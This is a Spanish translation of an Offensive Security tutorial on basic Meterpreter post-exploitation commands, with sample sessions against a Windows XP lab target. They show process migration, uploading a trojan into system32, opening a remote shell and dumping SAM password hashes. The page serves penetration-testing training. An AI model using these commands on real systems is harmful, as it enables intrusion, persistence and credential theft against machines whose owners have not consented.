Conceptos Básicos de Meterpreter
De www.metasploit-es.com.ar
Contenido |
Basicos del Meterpreter de Metasplot
Ya que el Meterpreter proporciona un nuevo entorno completo, cubriremos algunos comandos basicos del Meterpreter para iniciarte y ayudar a familiarizarte con esta poderosa herramienta. A traves de este curso, cubriremos casi todos los comandos disponibles del Meterpreter. Para aquellos que no cubramos, la experimentacion es la clave del aprendizaje exitoso.
help
El comando help, como cabria esperar, visualiza el menu de ayuda del Meterpreter.
meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session channel Displays information about active channels ...snip...
background
El comando 'background' enviara la sesion actual al fondo y te devolvera al prompt de msf. Para volver a tu sesion del Meterpreter, simplemente vuelve a interactuar con ella.
meterpreter > background msf exploit(ms08_067_netapi) > sessions -i 1 [*] Starting interaction with 1... meterpreter >
ps
El comando 'ps' muestra una lista de los procesos ejecutandose en el objetivo.
meterpreter > ps Process list ============ PID Name Path --- ---- ---- 132 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe 152 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 288 snmp.exe C:\WINDOWS\System32\snmp.exe ...snip...
migrate
Usando el post modulo 'migrate', puedes migrar a otro proceso en la victima.
meterpreter > run post/windows/manage/migrate [*] Running module against V-MAC-XP [*] Current server process: svchost.exe (1076) [*] Migrating to explorer.exe... [*] Migrating into process ID 816 [*] New server process: Explorer.EXE (816) meterpreter >
ls
Como en Linux, el comando 'ls' listara los archivos en el directorio remoto actual.
meterpreter > ls Listing: C:\Documents and Settings\victim ========================================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Sat Oct 17 07:40:45 -0600 2009 . 40777/rwxrwxrwx 0 dir Fri Jun 19 13:30:00 -0600 2009 .. 100666/rw-rw-rw- 218 fil Sat Oct 03 14:45:54 -0600 2009 .recently-used.xbel 40555/r-xr-xr-x 0 dir Wed Nov 04 19:44:05 -0700 2009 Application Data ...snip...
download
El comando 'download' descarga un fichero de la maquina remota. Notese la utilizacion de la doble contrabarra al proporcionar la ruta Windows.
meterpreter > download c:\\boot.ini [*] downloading: c:\boot.ini -> c:\boot.ini [*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini meterpreter >
upload
Como con el comando 'download', deberemos utilizar doble contrabarra con el comando 'upload'.
meterpreter > upload evil_trojan.exe c:\\windows\\system32 [*] uploading : evil_trojan.exe -> c:\windows\system32 [*] uploaded : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe meterpreter >
ipconfig
El comando 'ipconfig' muestra las interficies de red y sus direcciones en la maquina remota.
meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport Hardware MAC: 00:0c:29:10:f5:15 IP Address : 192.168.1.104 Netmask : 255.255.0.0 meterpreter >
getuid
Ejecutando 'getuid' se mostrara el usuario que el servidor de Meterpreter esta ejecutando en el host.
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >
execute
El comando 'execute' ejecuta un comando en el objetivo.
meterpreter > execute -f cmd.exe -i -H Process 38320 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>
shell
El comando 'shell' te proporcionara una consola estandar en el sistema objetivo.
meterpreter > shell Process 39640 created. Channel 2 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>
idletime
Ejecutando 'idletime' se mostrara el numero de segundos que el usuario ha estado en espera en la maquina remota.
meterpreter > idletime User has been idle for: 5 hours 26 mins 35 secs meterpreter >
hashdump
El post modulo 'hashdump' volcara los contenidos de la base de datos SAM.
meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hashes... Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3::: dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9::: victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d::: meterpreter >
© Offensive Security 2009
Original de www.offensive-security.com Traducido por cbk999